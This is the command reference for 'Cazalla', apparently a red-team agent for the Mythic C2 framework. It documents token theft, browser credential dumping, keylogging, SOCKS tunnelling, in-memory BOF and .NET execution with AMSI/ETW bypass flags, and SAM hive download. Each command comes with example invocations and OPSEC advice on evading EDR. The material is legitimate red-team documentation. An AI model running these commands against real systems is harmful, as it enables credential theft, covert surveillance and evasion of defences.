Angerona/documentation-payload/Cazalla/commands.md

+++ title = "Commands" chapter = false weight = 10 pre = "4. " +++

Cazalla Command Reference

Complete documentation for all Cazalla agent commands.

📋 Table of Contents

• File System Commands
• Process Management Commands
• Token Operations
• Network Tunneling
• System Operations
• Code Execution
• Control Commands

---

File System Commands

ls - List Directory Contents

List directory contents with detailed file information.

Syntax:

ls [path]

Parameters:

• path (optional): Directory path to list. If omitted, lists current working directory.

Examples:

ls
ls C:\Users
ls C:\Windows\*.exe

Features:

• Supports wildcards (e.g., *.exe, *.txt)
• Displays file type (File/Directory), size, modification date, and name
• Compatible with Mythic File Browser for interactive file management
• Relative paths are resolved using current working directory

Output Format:

Type      Size        Modified              Name
------    ----------  -------------------   --------------------
File      1024       2024-01-15 10:30:00    file.txt
Directory 0          2024-01-15 09:00:00   Documents

Related: File Browser Integration

---

cd - Change Directory

Change the current working directory for the agent.

Syntax:

cd <path>

Parameters:

• path (required): Directory path to change to. Supports both absolute and relative paths.

Examples:

cd C:\Users\Administrator
cd ..
cd Documents

Features:

• The new directory is automatically tracked and displayed in the Mythic UI context tabs
• Supports both absolute paths (e.g., C:\Windows\System32) and relative paths
• The current directory is used by other file system commands when relative paths are provided

Output:

Changed directory to: C:\Users\Administrator

Related: Context Tracking

---

pwd - Print Working Directory

Display the current working directory of the agent.

Syntax:

pwd

Parameters: None

Examples:

pwd

Output:

C:\Users\Administrator\Documents

Features:

• Shows the absolute path that the agent is currently using as its working directory
• This directory is automatically tracked and displayed in the Mythic UI context tabs
• Useful for verifying the current location before executing file system operations

Related: Context Tracking

---

cat - Read File Contents

Read and display the contents of a file on the target system.

Syntax:

cat <file_path>

Parameters:

• file_path (required): Path to the file to read. Supports both absolute and relative paths.

Examples:

cat C:\Users\Administrator\Desktop\notes.txt
cat config.ini
cat C:\Windows\System32\drivers\etc\hosts

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Automatically detects and extracts credentials from file contents including:
  • Plaintext passwords
  • NTLM hashes (format: aad3b435b51404ee:hash)
  • Domain credentials
• Detected credentials are automatically added to Mythic's credential store
• Useful for reading configuration files, log files, and credential databases

Output Example:

[cat] Reading file: C:\Users\Administrator\notes.txt
Hello, this is a test file.

[cat] Credentials detected:
- Password: MyPassword123
- Hash: aad3b435b51404ee:1234567890abcdef...

OPSEC Considerations:

• File reads are logged by EDR/XDR solutions
• Accessing sensitive files (System32, Program Files) may trigger alerts
• Consider using download for large files instead of cat

Related: Credentials Support

---

cp - Copy File

Copy a file from a source location to a destination path on the target system.

Syntax:

cp <source_path> <destination_path>

Parameters:

• source_path (required): Path to the source file
• destination_path (required): Path where the file will be copied to

Examples:

cp C:\Users\file.txt C:\temp\backup.txt
cp source.exe C:\Windows\Temp\malware.exe
cp config.ini config.ini.bak

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• The destination file will be overwritten if it already exists
• Creates a 'File Write' artifact for the destination file
• Useful for creating backups, moving files, or preparing payloads in staging directories

Output:

[cp] File copied: C:\Users\file.txt -> C:\temp\backup.txt

OPSEC Considerations:

• File writes are logged by EDR/XDR solutions
• Copying to sensitive locations (System32, Windows, Program Files) may trigger alerts
• File write artifacts are automatically tracked

Related: Artifacts Support

---

mkdir - Create Directory

Create a new directory on the target system.

Syntax:

mkdir <path>

Parameters:

• path (required): Directory path to create. Supports both absolute and relative paths.

Examples:

mkdir C:\temp\new_folder
mkdir staging
mkdir C:\Users\Administrator\Documents\Project

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Creates parent directories if they don't exist
• Useful for creating staging directories, temporary folders, or organizing files during post-exploitation activities

Output:

[mkdir] Directory created: C:\temp\new_folder

---

rm - Delete File or Directory

Delete a file or directory from the target system.

Syntax:

rm <path>

Parameters:

• path (required): File or directory path to delete. Supports both absolute and relative paths.

Examples:

rm C:\temp\file.txt
rm C:\temp\old_folder
rm backup.log

Features:

• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Can delete individual files or entire directories
• WARNING: Deletion of critical system files or directories (System32, Windows, Program Files, etc.) will be blocked for safety
• Use with caution as deleted files cannot be recovered through this command

Output:

[rm] File deleted: C:\temp\file.txt

OPSEC Considerations:

• File deletions are logged by EDR/XDR solutions
• Deleting system files may trigger alerts
• Consider the operational impact before deleting files

---

download - Download File from Target

Download a file from the target system to the Mythic server.

Syntax:

download <file_path>

Parameters:

• file_path (required): Path to the file to download. Supports both absolute and relative paths.

Examples:

download C:\Users\Administrator\Desktop\important.txt
download C:\Windows\System32\config\sam
download report.pdf

Features:

• Supports files up to 2GB in size
• Files are transferred in 512KB chunks for efficient transmission
• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Compatible with Mythic File Browser for interactive file selection
• Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems

Output:

[download] Starting download: C:\Users\important.txt (1024000 bytes)
[download] Chunk 1/2 downloaded: 512000 bytes
[download] Chunk 2/2 downloaded: 512000 bytes
[download] Download complete: C:\Users\important.txt

OPSEC Considerations:

• File reads are logged by EDR/XDR solutions
• Large downloads generate network traffic and may trigger alerts
• Downloading sensitive files (SAM, config files) may trigger DLP systems
• Consider using smaller chunk sizes or splitting large files

Related: File Downloads Support

---

upload - Upload File to Target

Upload a file from the Mythic server to the target system.

Syntax:

upload <file_id> <destination_path>

Parameters:

• file_id (required): File ID from Mythic's file browser. Obtained by uploading a file to Mythic first.
• destination_path (required): Destination path where the file will be written. Supports both absolute and relative paths.

Examples:

upload abc123-def456-ghi789 C:\Users\Administrator\Desktop\payload.exe
upload xyz789 C:\Windows\Temp\stager.dll
upload file123 C:\temp\data.txt

Features:

• Requires a file_id (obtained from Mythic's file browser) and a destination path where the file will be written
• Supports both absolute and relative paths (relative paths are resolved using the current working directory)
• Creates a 'File Write' artifact for tracking
• Uploads to sensitive locations (System32, Windows, Program Files) or with suspicious extensions (.exe, .dll, .ps1, .bat, .vbs) may trigger detection by security tools

How to Get File ID:

1. Upload a file to Mythic:

   • Go to Files in Mythic UI
   • Click Upload File
   • Select your file
   • Note the file ID (shown in the file list)

2. Use the file ID in the upload command

Output:

[upload] Starting upload: C:\Users\Administrator\Desktop\payload.exe (2048000 bytes)
[upload] Chunk 1/4 written: 512000 bytes
[upload] Chunk 2/4 written: 512000 bytes
[upload] Chunk 3/4 written: 512000 bytes
[upload] Chunk 4/4 written: 512000 bytes
[upload] Upload complete: C:\Users\Administrator\Desktop\payload.exe

OPSEC Considerations:

• File writes are logged by EDR/XDR solutions
• Uploads to sensitive locations may trigger alerts
• Suspicious file extensions (.exe, .dll, .ps1, .bat, .vbs) are monitored
• File write artifacts are automatically tracked

Related: File Uploads Support

---

Process Management Commands

ps - List Processes

List all running processes on the target system.

Syntax:

ps

Parameters: None

Examples:

ps

Features:

• Displays detailed process information including:
  • PID (Process ID)
  • Process name
  • Parent PID
  • Architecture (x64/x86)
  • Username
  • Session ID
• Automatically updates the Mythic Process Browser, allowing interactive process management (kill, steal_token, list_tokens) directly from the UI
• The Process Browser cache is automatically cleared to show only currently running processes

Output Format:

PID     Process Name          PPID    Arch    User                    Session
-----   -------------------   -----   -----   ----------------------  -------
1234    explorer.exe          1230    x64     DESKTOP-ABC\User        1
5678    chrome.exe            1234    x64     DESKTOP-ABC\User        1

Related: Process Browser Integration

---

kill - Terminate Process

Terminate a process by its Process ID (PID).

Syntax:

kill <pid>

Parameters:

• pid (required): Process ID of the process to terminate.

Examples:

kill 1234
kill 5678

Features:

• The process is immediately terminated using TerminateProcess API
• Compatible with Mythic Process Browser for interactive process termination
• Automatically removes the killed process from the Process Browser view
• WARNING: Critical system processes (PID 0, 4, 8) are blocked from termination to prevent system instability
• Creates a 'Process Termination' artifact for tracking

Output:

[kill] Process terminated: explorer.exe (PID: 1234)

OPSEC Considerations:

• Process termination is logged by EDR/XDR solutions
• Terminating critical processes may trigger alerts
• Process termination artifacts are automatically tracked

Related: Process Browser Integration, Artifacts Support

---

Token Operations

list_tokens - Enumerate Tokens

Enumerate and list all available security tokens from running processes on the target system.

Syntax:

list_tokens

Parameters: None

Examples:

list_tokens

Features:

• Shows detailed token information including user context, privileges, and groups for each process
• Compatible with Mythic Process Browser for interactive token enumeration
• Useful for reconnaissance to identify high-value tokens before attempting token theft
• Lower detection risk than token theft operations, but token enumeration may still be logged by security tools

Output Format:

PID     Process Name          User                    Domain           Privileges
-----   -------------------   ----------------------  --------------   -------------------
1234    lsass.exe             SYSTEM                  NT AUTHORITY      SeDebugPrivilege
5678    explorer.exe          User                    DESKTOP-ABC      SeChangeNotifyPrivilege

OPSEC Considerations:

• Token enumeration may be logged by security tools
• Lower risk than token theft, but still detectable
• Use for reconnaissance before attempting token theft

Related: Process Browser Integration, Token Support

---

steal_token - Steal Process Token

Steal and impersonate the security token from a target process.

Syntax:

steal_token <pid>

Parameters:

• pid (required): Process ID of the process to steal the token from.

Examples:

steal_token 1234
steal_token 5678

Features:

• Opens the target process, extracts its token, and impersonates it to assume the security context (user, privileges, groups) of that process
• Compatible with Mythic Process Browser for interactive token theft
• The impersonation context is automatically tracked and displayed in the Mythic UI
• CRITICAL OPSEC RISK: Token theft is heavily monitored by EDR/XDR solutions, especially when targeting LSASS or other critical processes
• Always requires approval from another operator
• Prefer make_token for domain credentials when possible

Output:

[steal_token] Token stolen from process: explorer.exe (PID: 1234)
[steal_token] Impersonating user: DESKTOP-ABC\User

OPSEC Considerations:

• CRITICAL OPSEC RISK: Token theft is heavily monitored
• Targeting LSASS or critical processes triggers high-priority alerts
• Always requires operator approval (OPSEC pre-check blocks execution)
• Process access is logged by EDR/XDR solutions
• Consider using make_token instead when you have credentials

Related: OPSEC Checking, Token Support, Process Browser Integration

---

make_token - Create Token from Credentials

Create a new security token using plaintext credentials and impersonate it.

Syntax:

make_token <domain> <username> <password> [logon_type]

Parameters:

• domain (required): Domain name (or empty string for local machine)
• username (required): Username to authenticate as
• password (required): Password for authentication
• logon_type (optional): Logon type (default: 9 - NewCredentials)

Examples:

make_token "" Administrator P@ssw0rd123
make_token DOMAIN user01 MyPassword
make_token WORKGROUP localuser Secret123 9

Features:

• Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API
• The logon_type parameter (default: 9 - NewCredentials) determines the authentication type
• The impersonation context is automatically tracked and displayed in the Mythic UI
• Less detectable than steal_token as it doesn't require accessing LSASS memory, but may still generate authentication logs
• Use rev2self to revert to the original token

Output:

[make_token] Creating token for: DOMAIN\User01
[make_token] Authentication successful
[make_token] Impersonating user: DOMAIN\User01

OPSEC Considerations:

• Authentication events are logged by Windows Event Log
• Less detectable than token theft, but still generates logs
• Authentication failures may trigger alerts
• Use rev2self after completing operations to reduce detection risk

Related: Token Support, Context Tracking

---

rev2self - Revert Token Impersonation

Revert token impersonation back to the original process token.

Syntax:

rev2self

Parameters: None

Examples:

rev2self

Features:

• This command stops impersonating any stolen or created token and returns to the agent's original security context
• The impersonation context in the Mythic UI is automatically cleared
• Use this command after completing operations that required elevated privileges to return to a less-privileged context and reduce detection risk

Output:

[rev2self] Reverted to original token
[rev2self] Current user: DESKTOP-ABC\OriginalUser

Related: Token Support, Context Tracking

---

whoami - Display Current Context

Display the current security context of the agent.

Syntax:

whoami

Parameters: None

Examples:

whoami

Features:

• Shows the username and domain of the active security token
• If token impersonation is active (via steal_token or make_token), displays the impersonated user context
• Otherwise, displays the process token context
• Useful for verifying that token operations succeeded and for confirming the current privilege level before executing commands that require specific permissions

Output:

Current user: DOMAIN\User01
Domain: DOMAIN

Related: Token Support, Context Tracking

---

Network Tunneling

socks - SOCKS5 Proxy

Start or stop a SOCKS5 proxy server on the Mythic server.

Syntax:

socks {"action":"start","port":7002}
socks {"action":"stop","port":7002}

Parameters:

• action (required): Either "start" or "stop"
• port (optional): Port number for the SOCKS proxy (default: 7002)

Examples:

socks {"action":"start","port":7002}
socks {"action":"stop","port":7002}

Features:

• When started, the SOCKS proxy allows routing network traffic through the agent to access internal network resources
• The default port is 7002
• The proxy runs on the Mythic server and uses the agent as a tunnel for network connections
• WARNING: SOCKS proxies generate continuous network traffic and may be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
• Use non-standard ports and be aware of high bandwidth usage

Output:

[socks] SOCKS proxy started on port 7002

OPSEC Considerations:

• SOCKS proxies generate continuous network traffic
• May be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
• Use non-standard ports
• Be aware of high bandwidth usage
• Consider the operational impact before starting

Related: SOCKS Proxy Support, Usage Examples

---

rpfwd - Reverse Port Forwarding

Start or stop reverse port forwarding (RPFWD).

Syntax:

rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}
rpfwd {"action":"stop","port":8080}

Parameters:

• action (required): Either "start" or "stop"
• port (required for start): Local port on the agent to listen on (default: 8080)
• remote_host (required for start): Remote host to forward connections to
• remote_port (required for start): Remote port to forward connections to

Examples:

rpfwd {"action":"start","port":8080,"remote_host":"192.168.1.100","remote_port":80}
rpfwd {"action":"start","port":3306,"remote_host":"10.0.0.50","remote_port":3306}
rpfwd {"action":"stop","port":8080}

Features:

• When started, the agent listens on a local port on the target system
• Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination (remote_host:remote_port)
• Default local port: 8080
• Useful for accessing services on the target network that are not directly reachable from Mythic (e.g., internal services, databases, management interfaces)
• WARNING: Reverse port forwarding creates persistent network connections and may be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
• Avoid using privileged ports (<1024) which require elevated privileges

Output:

[rpfwd] Reverse port forwarding started on port 8080
[rpfwd] Forwarding connections to: 192.168.1.100:80

OPSEC Considerations:

• Reverse port forwarding creates persistent network connections
• May be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
• Avoid using privileged ports (<1024) which require elevated privileges
• Consider the operational impact before starting

Related: Reverse Port Forwarding Support, Usage Examples

---

System Operations

shell - Execute Shell Command

Execute arbitrary shell commands on the target system by spawning cmd.exe.

Syntax:

shell <command>

Parameters:

• command (required): Shell command to execute.

Examples:

shell whoami
shell dir C:\Users
shell ipconfig /all

Features:

• The command is executed in a non-interactive shell and the output is captured and returned
• HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions
• Command execution and command-line arguments are logged by security tools
• Consider using built-in Cazalla commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC
• Always requires approval from another operator before execution

Output:

Microsoft Windows [Version 10.0.19041.1234]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>whoami
desktop-abc\administrator

OPSEC Considerations:

• HIGH OPSEC RISK: Spawns cmd.exe which is heavily monitored
• Command execution and arguments are logged by EDR/XDR solutions
• Always requires operator approval (OPSEC pre-check blocks execution)
• Consider using built-in Cazalla commands instead when possible

Related: OPSEC Checking

---

Code Execution

inline_execute - Execute Beacon Object File (BOF)

Execute a Beacon Object File (BOF) in the current process thread and capture its output.

Syntax:

inline_execute -BOF <bof_file> [-Arguments <arguments>]

Parameters:

• -BOF or bof_name (required): Name of an already uploaded BOF file (e.g., whoami.x64.o)
• bof_file (required for new uploads): A new BOF file to upload and execute
• -Arguments or bof_arguments (optional): Arguments to pass to the BOF

Argument Types:

• int16:123 or -s:123 - 16-bit integer
• int32:1234 or -i:1234 - 32-bit integer
• string:hello or -z:hello - Null-terminated string
• wchar:hello or -Z:hello - Wide character string
• base64:abc== or -b:abc== - Base64-encoded binary data
• bytes:hexstring - Hexadecimal string of bytes

Examples:

inline_execute -BOF whoami.x64.o
inline_execute -BOF listmods.x64.o -Arguments int32:1234
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP

Features:

• In-Memory Execution: BOFs are executed directly in the current process memory without creating new processes
• COFF Loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
• Beacon API Compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
• Output Capture: Automatically captures and returns BOF output via BeaconPrintf/BeaconOutput
• Argument Parsing: Supports multiple argument types (int16, int32, string, wchar, base64, bytes)
• Thread Isolation: BOFs execute in a separate thread with 30-second timeout to prevent agent crashes
• Process Create Artifact: Automatically creates a "Process Create" artifact for tracking

Output:

[BOF Output]
Module Name: ntdll.dll
Base Address: 0x7ffa12340000
Size: 0x1f0000

OPSEC Considerations:

• MEDIUM OPSEC RISK: In-process execution reduces some detection vectors compared to process spawning
• Process Create Artifact: BOF execution creates a "Process Create" artifact that is logged in Mythic
• Memory Allocation: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
• API Monitoring: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
• Memory Scanning: Allocated executable memory may be scanned by EDR memory protection features
• No New Process: Unlike shell, BOFs execute in-process, reducing some detection vectors
• Thread Isolation: BOFs execute in a separate thread with timeout protection

Technical Details:

• Arguments are serialized using Packer format: [size:4 bytes LE][data]
• Boolean values are automatically converted to integers (0 or 1) before serialization
• BOFs that hang will timeout after 30 seconds and output will still be captured

Related: inline_execute_assembly, Artifacts Support, Detailed Documentation

---

inline_execute_assembly - Execute .NET Assembly In-Process

Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File).

Syntax:

inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchexit] [--amsi] [--etw]

Parameters:

• -Assembly or assembly_name (required): Name of an already uploaded .NET assembly (e.g., SharpUp.exe)
• assembly_file (required for new uploads): A new .NET assembly file to upload and execute
• -Arguments or assembly_arguments (optional): Arguments to pass to the assembly
• --patchexit or patch_exit (optional, default: false): Patch System.Environment.Exit to prevent the Beacon process from exiting
• --amsi or amsi (optional, default: false): Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections
• --etw or etw (optional, default: false): Bypass ETW by EAT hooking advapi32.dll!EventWrite to point to a function that returns immediately

Examples:

inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw

Features:

• In-Process Execution: Executes .NET assemblies in the current process without spawning new processes
• AMSI Bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll)
• ETW Bypass: Optional ETW bypass via EAT hooking
• Exit Patch: Prevents assemblies from calling System.Environment.Exit and terminating the agent
• Output Capture: Automatically captures and returns assembly output via completion callback
• BOF-Based: Uses the Inline-EA BOF (inline-ea.x64.o) under the hood (executed via inline_execute)
• Process Create Artifact: Automatically creates a "Process Create" artifact for tracking
• Subtask Integration: Creates a subtask that calls inline_execute, with output aggregated via completion callback

How It Works:

1. Retrieves the .NET assembly from Mythic
2. Searches for the Inline-EA BOF (inline-ea.x64.o) in Mythic's file store
3. Creates a subtask that calls inline_execute with the Inline-EA BOF
4. Passes the .NET assembly as raw bytes (hex-encoded) to the BOF
5. BOF loads the assembly into memory using .NET CLR APIs
6. Optional bypasses (AMSI, ETW) are applied if requested via flags
7. Assembly's entry point is executed with the provided arguments
8. Output is captured via BeaconPrintf and returned to the parent task through a completion callback

Output:

SharpUp execution started...
[*] Checking for insecure file permissions...
[*] Checking for unquoted service paths...
[+] Found: C:\Program Files\Vulnerable Service\service.exe
[*] Completed Privesc Checks in 17 seconds

OPSEC Considerations:

• MEDIUM OPSEC RISK: In-process execution provides better OPSEC than process spawning (no process injection)
• Process Create Artifact: Assembly execution creates a "Process Create" artifact that is logged in Mythic
• CLR Loading: Loading .NET assemblies into memory may be detected by EDR solutions
• AMSI Bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections (more evasive than patching amsi.dll)
• ETW Bypass: EAT hooking advapi32.dll!EventWrite may be detected by advanced EDR solutions
• No New Process: Executes in-process, reducing some detection vectors compared to process spawning
• Memory Allocation: Allocates executable memory for the assembly, which may be scanned by EDR
• Thread Isolation: BOF execution runs in a separate thread with timeout protection

Technical Details:

• Uses Inline-EA BOF developed by @EricEsquivel (https://github.com/EricEsquivel/Inline-EA)
• Boolean flags (--amsi, --etw, --patchexit) are automatically converted to integers (0 or 1) for the BOF
• If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
• Output is aggregated from the subtask and displayed directly in the main command (not as a subtask)

Related: inline_execute, Artifacts Support, Detailed Documentation

---

screenshot - Capture Screenshot

Capture a screenshot of the primary desktop display and upload it to the Mythic server.

Syntax:

screenshot

Parameters: None

Examples:

screenshot

Features:

• Uses Windows GDI API (BitBlt) to capture the screen content
• The screenshot is automatically uploaded as a file to Mythic for viewing
• Requires an active interactive desktop session
• May be detected by screen capture detection mechanisms, behavioral analysis, and data loss prevention (DLP) systems
• Large screenshots may trigger network monitoring alerts

Output:

[screenshot] Capturing screenshot...
[screenshot] Screenshot captured: 1920x1080 pixels
[screenshot] Uploading to Mythic...
[screenshot] Screenshot uploaded successfully

OPSEC Considerations:

• Screen capture is detected by many security tools
• May trigger behavioral analysis alerts
• Large screenshots generate network traffic
• Requires an active interactive desktop session

Related: Usage Examples

---

keylog_start - Start Keylogger

Start a low-level keyboard logger that captures all keystrokes from the system.

Syntax:

keylog_start

Parameters: None

Examples:

keylog_start

Features:

• Captures all keystrokes from the system and streams them to Mythic in real-time
• Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level
• CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions, anti-malware, and behavioral analysis engines
• Detection is likely within minutes or hours
• Always requires approval from a lead operator
• Consider alternatives such as credential theft, browser credential extraction, or clipboard monitoring for better OPSEC

Output:

[keylog_start] Starting keylogger...
[keylog_start] Keyboard hook installed
[keylog_start] Keylogger active

OPSEC Considerations:

• CRITICAL OPSEC RISK: Extremely detectable
• Detection is likely within minutes or hours
• Always requires operator approval (OPSEC pre-check blocks execution)
• Consider alternatives for better OPSEC

Related: OPSEC Checking, Keylogging Support

---

keylog_stop - Stop Keylogger

Stop the active keyboard logger and remove the keyboard hooks.

Syntax:

keylog_stop

Parameters: None

Examples:

keylog_stop

Features:

• This command safely terminates keylogging operations and cleans up the hooking mechanisms
• Use this command when keylogging is no longer needed to reduce detection risk and free system resources

Output:

[keylog_stop] Stopping keylogger...
[keylog_stop] Keyboard hook removed
[keylog_stop] Keylogger stopped

Related: Keylogging Support

---

browser_info - Identify Installed Browsers

Identify installed web browsers and the default browser on the target system.

Syntax:

browser_info

Parameters: None

Examples:

browser_info

Features:

• Detects multiple browsers: Google Chrome, Microsoft Edge, Mozilla Firefox, Opera, Brave
• Displays installation paths for each detected browser
• Shows version information when available
• Identifies the system's default browser
• Read-only operation - does not modify system state
• Low detection risk - only reads registry and file system

Output:

=== Installed Browsers ===

[1] Google Chrome
    Path: C:\Program Files\Google\Chrome\Application\chrome.exe
    Version: 120.0.6099.109.0

[2] Microsoft Edge
    Path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    Version: 120.0.2210.91.0

=== Default Browser ===

Name: Google Chrome
Path: C:\Program Files\Google\Chrome\Application\chrome.exe

OPSEC Considerations:

• Low detection risk - read-only operations are rarely flagged
• Registry reads may be logged if registry auditing is enabled
• File system access may be logged if file auditing is enabled
• No process creation or network activity
• No file modifications

Related: System Information Gathering, Detailed Documentation

---

browser_dump - Dump Browser Credentials

Extract cookies, saved passwords, and bookmarks from web browsers.

Syntax:

browser_dump <browser>

Parameters:

• browser (required): Browser to dump. Must be one of: chrome, firefox

Examples:

browser_dump chrome
browser_dump firefox

Features:

• Supports Chrome and Firefox
• Extracts cookies (display only), saved passwords, and bookmarks
• Automatically decrypts browser-protected credentials
• Reports saved passwords to Mythic's credential store (cookies are NOT stored)
• Smart cookie filtering: Only shows session cookies useful for authentication
• HIGH OPSEC RISK: Browser credential access is heavily monitored

Output:

============================================
||               Cookies                  ||
============================================

- URL: example.com
- Cookie: session_id=abc123...

============================================
||              Saved logins              ||
============================================

- URL: https://example.com
- Username: user@example.com
- Password: mypassword123

Credential Reporting:

• Passwords: Automatically saved to Mythic's credential store
• Cookies: Displayed in output but NOT stored as credentials

OPSEC Considerations:

• HIGH DETECTION RISK - Browser credential access is heavily monitored
• EDR/XDR solutions have specific detection rules
• File access to browser databases triggers alerts
• Detection is likely within minutes
• Always requires approval from another operator

Related: Browser Information Command, Detailed Documentation

---

Control Commands

sleep - Adjust Beacon Interval

Change the agent's sleep interval (check-in frequency) and optional jitter percentage.

Syntax:

sleep {"seconds":30,"jitter":10}

Parameters:

• seconds (required): Sleep interval in seconds
• jitter (optional): Jitter percentage (0-100)

Examples:

sleep {"seconds":30,"jitter":10}
sleep {"seconds":60}
sleep {"seconds":10,"jitter":30}

Features:

• The sleep interval determines how long the agent waits between check-ins with the Mythic server
• Jitter adds random variation to the sleep interval to avoid predictable timing patterns
• Lower sleep values provide more responsive interaction but increase network activity and detection risk
• Higher sleep values reduce detection risk but make the agent less responsive
• Jitter helps evade behavioral detection based on timing analysis

Output:

[sleep] Sleep interval set to: 30 seconds
[sleep] Jitter set to: 10%

Recommendations:

• Initial deployment: 30-60 seconds with 10-30% jitter
• Interactive operations: 5-10 seconds with 10-20% jitter
• Stealth mode: 60-120 seconds with 20-40% jitter

---

exit - Terminate Agent

Instruct the agent to exit and terminate.

Syntax:

exit

Parameters: None

Examples:

exit

Features:

• The agent will perform cleanup operations and then terminate its process
• This command is permanent - the agent will stop running and will not check in again
• Use this command when you want to remove the agent from the target system or when operational requirements dictate agent termination
• Compatible with Mythic's callback table exit functionality

Output:

[exit] Terminating agent...
[exit] Agent exited

Warning: This command permanently terminates the agent. The agent will not automatically reconnect.

---

Command Parameter Formats

JSON Parameters

Some commands require JSON-formatted parameters:

• socks: {"action":"start","port":7002}
• rpfwd: {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}
• sleep: {"seconds":30,"jitter":10}
• make_token: Dictionary with domain, username, password, logon_type

String Parameters

Most commands use simple string parameters:

• ls C:\Users
• cd C:\Windows\System32
• cat file.txt
• kill 1234

Path Handling

• Absolute paths: C:\Users\Administrator\Desktop\file.txt
• Relative paths: file.txt (resolved using current working directory)
• Path normalization: Double backslashes are automatically normalized

---

Command Output Formatting

Commands output information in a consistent format:

• Success messages: [command] Operation completed: details
• Error messages: [command] Error: description (Code: error_code)
• Progress messages: [command] Progress: current/total

---

Related Documentation

• Getting Started Guide - Installation and first steps
• Features Overview - Detailed feature explanations
• OPSEC Guide - Security considerations
• Usage Examples - Practical examples
• Troubleshooting Guide - Common issues and solutions

---

Last Updated: 2024